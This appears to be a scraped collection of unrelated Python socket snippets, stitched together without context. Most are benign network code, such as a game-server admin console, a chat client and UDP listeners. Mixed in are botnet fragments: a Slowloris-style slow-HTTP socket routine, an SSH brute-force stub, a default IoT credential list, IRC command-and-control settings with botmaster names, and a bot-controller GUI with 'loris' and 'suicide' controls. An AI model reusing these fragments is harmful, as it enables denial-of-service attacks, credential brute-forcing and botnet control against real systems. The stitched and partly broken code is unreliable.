def __init__(self, db=Database(), host="", port=9996,\ dstHost="", dstPort=6969, playback=False, logIt=True): self.listener = sock(AF_INET, SOCK_DGRAM, 0) self.listener.bind((host, port)) self.sender = sock(AF_INET, SOCK_DGRAM, 0) self.dstHost = dstHost self.dstPort = dstPort self.buffer = "" self.database = db self.logIt = logIt self.playback = playback self.pktLogBin = open("./exports/" + str(math.ceil(time.time())) + ".ngl", "wb")
def __init__(self, db=Database(), host="", port=9996,\ dstHost="", dstPort=6969, playback=False, logIt=True): self.listener = sock(AF_INET, SOCK_DGRAM, 0) self.listener.bind((host, port)) self.sender = sock(AF_INET, SOCK_DGRAM, 0) self.dstHost = dstHost self.dstPort = dstPort self.buffer = "" self.database = db self.logIt = logIt self.playback = playback self.pktLogBin = open( "./exports/" + str(math.ceil(time.time())) + ".ngl", "wb")
def __init__(self, hostname: str, port, authentication: str, name: str, password: str, terminal_mode: bool = True): self.hostname = hostname self.port = int(port) self.authentication = authentication self.socket = sock() self.name = name self.__data = str() try: self.socket.connect((hostname, self.port)) except ConnectionRefusedError: print('CONNECTION REFUSED') return logging.info('connected') self.send(authentication) if name != 'admin': try: self.send('%NAME ' + self.name) self.send(password) except ConnectionError: self.socket.close() logging.info('CONNECTION ERROR') return except OSError: self.socket.close() logging.info('OS ERROR') traceback.print_exc() return else: try: self.send('get') except ConnectionError: self.socket.close() logging.info('CONNECTION ERROR') return except OSError as ex: self.socket.close() logging.info('OS ERROR') logging.error(str(ex)) return if terminal_mode: self.sender = Thread(target=self.__sender, name=self.name + ' sender') self.receiver = Thread(target=self.__receiver, name=self.name + ' receiver') self.sender.daemon = True self.sender.start() self.receiver.start()
def __init__(self, name=None, listen_count=0): self.socket = sock() self.host = '0.0.0.0' self.port = 5000 self.filename = name self.session = [] self.method = None self.listen_count = listen_count self.url = '' self.dict_of_urls = {} self.connection = None
def __init__(self, host="", port=6969): self.host = host self.port = port self.listener = sock(AF_INET, SOCK_DGRAM, 0) self.listener.bind((host, port)) self.flowGraph = nx.Graph() self.data = {} self.nodeNames = ["---"] self.nodeData = ["Select a node."] self.avgByteGraph = [] self.avgLenGraph = [] self.numFlowsGraph = []
def init_socket(ip, port, https, randuseragent): s = sock(AF_INET, SOCK_STREAM) s.settimeout(4) if https: s = ssl_wrap(s) s.connect((ip, port)) s.send("GET /?{} HTTP/1.1\r\n".format(random.randint( 0, 2000)).encode("utf-8")) if randuseragent: s.send("User-Agent: {}\r\n".format(random.choice(uas)).encode("utf-8")) else: s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8")) s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8")) return s
def __init__(self, old_owner): self.shock = sock(AF_INET, SOCK_DGRAM) self.shock.bind(("", var.port)) #self.shock.settimeout(0.01) self.shock.settimeout(0.01) self.blocks = [] self.x_adder = KX_x_adder(self.scene.objects['x_adder']) self.y_adder = KX_y_adder(self.scene.objects['y_adder']) self.x_adder.refresh() self.y_adder.refresh() self.nDeskripsi = self.scene.objects["n info"] self.valueDeskripsi = self.scene.objects["ValueInfo"] self.cam = KX_CamPos(self.scene.objects['Camera'])
def launch(want: str): addon_py = get_addon_py(want) addon = {} if addon_py: addon = {"addon": '-s %s ' % addon_py} else: print('without addon launch mitmweb') addon = {"addon": ''} addon['port'] = 8888 s = sock(socket.AF_INET, socket.SOCK_STREAM) if 0 == s.connect_ex(('127.0.0.1', MITM_PORT)): s.close() print('%s have process run,you can use shutdown to free the port' % addon['port']) return cmd = 'nohup mitmweb -p {port} {addon} &'.format_map(addon) # print(cmd) os.system(cmd) sleep(1)
def serverselect(self): if not self.srv: self.srv = self._login() if not self.hlp: while True: hlp = self._send('Help') if hlp: break self.hlp = hlp cmd = self._cmdselects() if cmd is None: return self._cmdselects() #print(cmd) res = self.fire(cmd.strip('<>')) if res: print(res) if cmd == '<Disconnect>': self.socket.close() self.srv = None self.maps = {} self.socket = sock(AF_INET, SOCK_STREAM) self.serverselect()
def ssh_brute(ip): ssh_sock = sock(family=AF_INET, type=SOCK_STREAM) sock.connect((ip, 22)) for u, p in creds: pass
("support", "support"), ("user", "user"), ("Administrator", "admin"), ("service", "service"), ("supervisor", "supervisor"), ("guest", "guest"), ("guest", "12345"), ("guest", "12345"), ("admin1", "password"), ("administrator", "1234"), ("666666", "666666"), ("888888", "888888"), ("ubnt", "ubnt"), ("tech", "tech"), ("mother", "f****r")) botmasters = ["tjgerot", "sovnrswiwg"] irc = "irc.freenode.net" port = 6667 botid = 0 channel = "##qdmdrqtvd" chanpass = "******" sck = sock(AF_INET, SOCK_STREAM) sck.connect((irc, port)) bot_files = [] list_of_sockets = [] uas = [ "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
def recvbody(sock): mes = b"" try: while True: rec = sock.recv(1) if rec == b"": return mes mes += rec except timeout: return mes buf_size = 1024 socket = sock(AF_INET, SOCK_STREAM) socket.setblocking(False) socket.bind(("localhost", 125)) socket.listen(10) inputs = [socket] outputs = [] message_queues = {} rec_buffer = {} socket_weather = sock(AF_INET, SOCK_STREAM) socket_weather.settimeout(0.5) socket_weather.connect((gethostbyname("api.openweathermap.org"), 80)) while inputs:
def connect(host, port, nick, nickpass, channel, chanpass): from os import system global s ready = True output("Pinging server to verify connection") if not system("ping " + host + " -n 1"): server_entry_label.config(fg="#00FF00") output("Server is alive and responding") else: ready = False output("Server is not responding to ping request") try: output("Verifying connection to port") s = sock(AF_INET, SOCK_STREAM) s.connect((host, port)) port_entry_label.config(fg="#00FF00") output("Port verified as open") except sock_error: ready = False if not ready: return False registered = False joined = False finished = False idented = False reported = False while True and die is False: data = s.recv(1024) parts = data.decode("UTF-8").split("\r\n") for part in parts: output(part) if "$FINGERPRINT$" in part: output("Fingerprint recieved. Processing...") part.split("$FINGERPRINT$")[1] if "PING" in part: output("Responding to ping request") s.send(("PONG " + part.split()[1] + "\r\n").encode("UTF8")) if "nickname is registered" in part: username_entry_label.config(fg="#00FF00") registered = True if "You are now identified" in part or "already logged in" in part: password_entry_label.config(fg="#00FF00") idented = True output("Identified as user " + nick) if "End of /NAMES list" in part: channel_entry_label.config(fg="#00FF00") chanpass_entry_label.config(fg="#00FF00") finished = True if not registered: output("Registering IRC nickname") s.send(("NICK " + nick + "\r\n").encode("UTF8")) s.send(("USER " + nick + " " + nick + " " + nick + " :" + nick + "\r\n").encode("UTF8")) registered = True output("Registered with IRC server") if not joined: output("Joining channel") s.send( ("JOIN " + channel + " " + chanpass + "\r\n").encode("UTF8")) joined = True output("Join successful") if not idented: output("Indentifying to server as " + nick + " with pasword " + ("*" * len(nickpass))) s.send(("PRIVMSG NICKSERV :identify " + nick + " " + nickpass + "\r\n").encode("UTF8")) if not reported and idented and registered and joined and finished: output("Finished connecting") connect_button.config(background="red", text="Disconnect") con_color = "red" # exec_button.config(state="normal") # ssh_button.config(state="normal") address_button.config(state="normal") fingerprint_button.config(state="normal") suicide_button.config(state="normal") mail_button.config(state="normal") loris_button.config(state="normal") download_button.config(state="normal") reconnect_button.config(state="normal") profile_button.config(state="normal") # new_button.config(state="normal") # new0_button.config(state="normal") reported = True
import socket #Create a socket object s = socket.sock() print("Socket created") #connect to port number port = 4567 #bind to the port s.bind(('', port)) print("Socket bind to %s" % (port)) #Listen to the port s.listen(5) print("Socket is listening....") #create a forever loop to listen while True: #Establish a connect with clieny c, addr = s.accept() print("Connection from", addr)
class PavlovADM(Cmd): servers = {} socket = sock(AF_INET, SOCK_STREAM) socket.settimeout(3) gameini = '' itemtbl = '' maptbl = '~/.cache/pavlovadm/maps.tbl' mapnames = {} maps = {} hlp = None cnt = 0 srv = None def __init__(self, *args, **kwargs): self.use_rawinput = False for (k, v) in kwargs.items(): if hasattr(self, k): setattr(self, k, v) super().__init__() try: self.serverselect() except IndexError as err: print('\033c') print('known index error occured, restarting') self.serverselect() def serverselect(self): if not self.srv: self.srv = self._login() if not self.hlp: while True: hlp = self._send('Help') if hlp: break self.hlp = hlp cmd = self._cmdselects() if cmd is None: return self._cmdselects() #print(cmd) res = self.fire(cmd.strip('<>')) if res: print(res) if cmd == '<Disconnect>': self.socket.close() self.srv = None self.maps = {} self.socket = sock(AF_INET, SOCK_STREAM) self.serverselect() def _login(self): """server login method""" ask = [ iList( 'srv', carousel=True, message='select server', choices=[s for s in self.servers.keys()] + ['<Exit>'], ), ] srv = list(prompt(ask).values())[0] if srv == '<Exit>': exit() passwd = self.servers[srv][0] if len(self.servers[srv]) > 1: maplist = self.servers[srv][1] server, port = srv.split(':') self.socket.connect((server, int(port))) self._send('') print(self._send(passwd)) return srv #self.prompt = '%s:%s >'%(server, port) def _getmapname(self, mapid): if mapid in self.mapnames: return self.mapnames[mapid] url = 'https://steamcommunity.com/sharedfiles/filedetails/?id=' res = post('%s%s' % (url, mapid.strip('UGC'))) for l in res.text.split('\n'): if 'workshopItemTitle' in l: return l.split('>')[1].split('<')[0] def _getmaps(self, noask=None): if not self.maps: maplst = self.gameini if len(self.servers[self.srv]) > 1: maplst = self.servers[self.srv][1] if maplst.startswith('~'): maplst = expanduser(maplst) if not maplst.startswith('/'): print( 'error: cannot read maplist if no absolute path is provided' ) with open(maplst, 'r') as mfh: lines = mfh.readlines() try: with open(expanduser(self.maptbl), 'r') as mfh: self.mapnames = yload(mfh.read(), Loader=Loader) except FileNotFoundError: with open(expanduser(self.maptbl), 'w+') as mfh: mfh.write(ydump({}, Dumper=Dumper)) self.mapnames = {} for l in lines: if not l or not l.startswith('MapRotation'): continue ugcid = l.split('MapId="')[1].split('", ')[0] gmmod = l.split('GameMode="')[1].split('")')[0] name = self._getmapname(ugcid) self.maps[name] = [ugcid, gmmod] self.mapnames[ugcid] = name with open(expanduser(self.maptbl), 'w+') as mfh: mfh.write(ydump(self.mapnames, Dumper=Dumper)) if noask: return ask = [ iList( 'map', carousel=True, message='select map', choices=[m for m in self.maps.keys()] + ['<Return>'], ), ] mapp = list(prompt(ask).values())[0] if mapp == '<Return>': return mmod = self.maps[mapp][1] modes = [mmod] + [s for s in ['SND', 'TDM', 'DM', 'GUN'] if s != mmod] ask = [ iList( 'mod', carousel=True, message='select mode (irrelevant if set by map)', choices=[m for m in modes] + ['<Return>'], ), ] mode = list(prompt(ask).values())[0] if mode != '<Return>': return '%s %s' % (self.maps[mapp][0], mode) def _getitem(self): with open(self.itemtbl, 'r') as ifh: items = [l.split(',')[0] for l in ifh.readlines()] ask = [ iList( 'item', carousel=True, message='select item', choices=items + ['<Return>'], ), ] item = list(prompt(ask).values())[0] if item != '<Return>': return item def _getskin(self): ask = [ iList( 'skin', carousel=True, message='select skin', choices=[ 'clown', 'prisoner', 'naked', 'farmer', 'russian', 'nato', '<Return>' ], ), ] skin = list(prompt(ask).values())[0] if skin != '<Return>': return skin def _getammotype(self): ask = [ iList( 'ammo', carousel=True, message='select ammo-limit', choices=[0, 1, 2, '<Return>'], ), ] ammo = list(prompt(ask).values())[0] if ammo != '<Return>': return ammo def _getteam(self): ask = [ iList( 'team', carousel=True, message='select team', choices=[ "Blue Team (Defenders)", "Red Team (Attackers)", '<Return>' ], ), ] team = list(prompt(ask).values())[0] if team != '<Return>': return team def _getcash(self): c = 0 while True: cash = input('enter amount of cash (as number)') if cash.isdigit(): return cash c += 1 if c < 3: print('thats not a number - let\'s try again') else: print('too dumb for numbers? o.0 aborting...') def _cmdselects(self): noargs = [ 'Info', 'ResetSND', 'RefreshList', 'RotateMap', 'ServerInfo', 'Help', '<Disconnect>' ] steams = ['Kick', 'Ban', 'Unban', 'InspectPlayer'] others = [ 'SwitchMap', 'SwitchTeam', 'GiveItem', 'GiveCash', 'GiveTeamCash', 'SetPlayerSkin', 'SetLimitedAmmoType' ] order = [ 'Info', 'SwitchMap', 'RotateMap', 'ResetSND', 'Kick', 'Ban', 'Unban', 'InspectPlayer', 'GiveItem', 'GiveCash', 'GiveTeamCash', 'SetPlayerSkin', 'SetLimitedAmmoType', 'RefreshList', 'ServerInfo', '<Disconnect>' ] hlp = self.hlp['Help'] hlp = [h.split(' ')[0] for h in hlp.split(', ') if h.split(' ')[0]] + ['Info'] ask = [ iList( 'cmd', carousel=True, message='select command', choices=[o for o in order if o.strip('<>') in hlp], ), ] cmd = list(prompt(ask).values())[0].strip() if cmd in noargs: return cmd elif cmd in steams: sid = self._getsteamid(cmd) if not sid: return return '%s %s' % (cmd, sid) elif cmd in others: if cmd == 'SwitchMap': mapmod = self._getmaps() if not mapmod: return return 'SwitchMap %s' % mapmod elif cmd == 'SwitchTeam': sid = self._getsteamid(cmd) if not sid: return return 'SwitchTeam %s %s' % (sid, self._getteam()) elif cmd == 'GiveItem': sid = self._getsteamid(cmd) if not sid: return return 'GiveItem %s %s' % (sid, self._getitem()) elif cmd == 'GiveCash': sid = self._getsteamid(cmd) if not sid: return return 'GiveCash %s %s' % (sid, self._getcash()) elif cmd == 'GiveTeamCash': team = self._getteam() if not team: return return 'GiveTeamCash %s %s' % (team, self._getcash()) elif cmd == 'SetPlayerSkin': sid = self._getsteamid(cmd) if not sid: return return 'SetPlayerSkin %s %s' % (sid, self._getskin()) elif cmd == 'SetLimitedAmmoType': ammo = self._getammotype() if not ammo: return return 'SetLimitedAmmoType %s' % ammo def _getsteamid(self, cmd): userids = self._players() if not userids: print('\nerror: executing "%s" is impossible - no players\n' % cmd) return ask = [ iList( 'user', carousel=True, message='select user to %s' % cmd, choices=list(userids.keys()) + ['<Return>'], ), ] usr = list(prompt(ask).values())[0] if usr == '<Return>': return return userids[usr] def fire(self, cmd): #print(cmd) if cmd == 'Info': if not self.maps: self._getmaps(True) l = max(len(k) for k in self.maps.keys()) + 1 msg = 'MapList:\n%s\n\n%s\n\n%s\n'%( '\n'.join(' %s%s= %s'%(k, ' '*int(l-len(k)), v) for (k, v) in self.maps.items()), \ tabd(self._send('ServerInfo')), tabd(self._send('RefreshList'))) return msg return self._send(cmd) def _players(self): pout = self._send('RefreshList') return jload(pout)['PlayerList'] #pout = pout.split('{\n\t"PlayerList": [')[1] #pout = pout.split('\t]\n}')[0] ##print(pout) #_players = {} #for blk in pout.split('}'): # useruid = [l.strip() for l in blk.rstrip('}').split('\n') if l.strip() and l.strip() not in (',', '{')] # if not useruid or str(useruid).strip() == '[\']\']': continue # #print(useruid) # _players[useruid[0].split('": "')[1].rstrip('",')] = useruid[1].split('": "')[1].rstrip('"') #return _players def _getresponse(self): res = [] while True: ret = self.socket.recv(1024) res.append(ret.decode()) if len(ret) <= 1023: break return ''.join(res) def _send(self, data, answer=True): res = '' try: self.socket.sendall(data.encode()) if answer: res = self._getresponse() if not res: self.socket.sendall(''.encode()) res = self._getresponse() res = jload(res) except JSONDecodeError as err: print(err) except TimeOutError: print('we ran into a timeout wile executing "%s"' % data, end='') self.cnt += 1 if self.cnt <= 3: print(' retrying...') res = self._send(data, answer) print(' aborting...') finally: return res
def get_local_ip(): s = sock(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('8.8.8.8', 80)) ip = s.getsockname()[0] s.close() return ip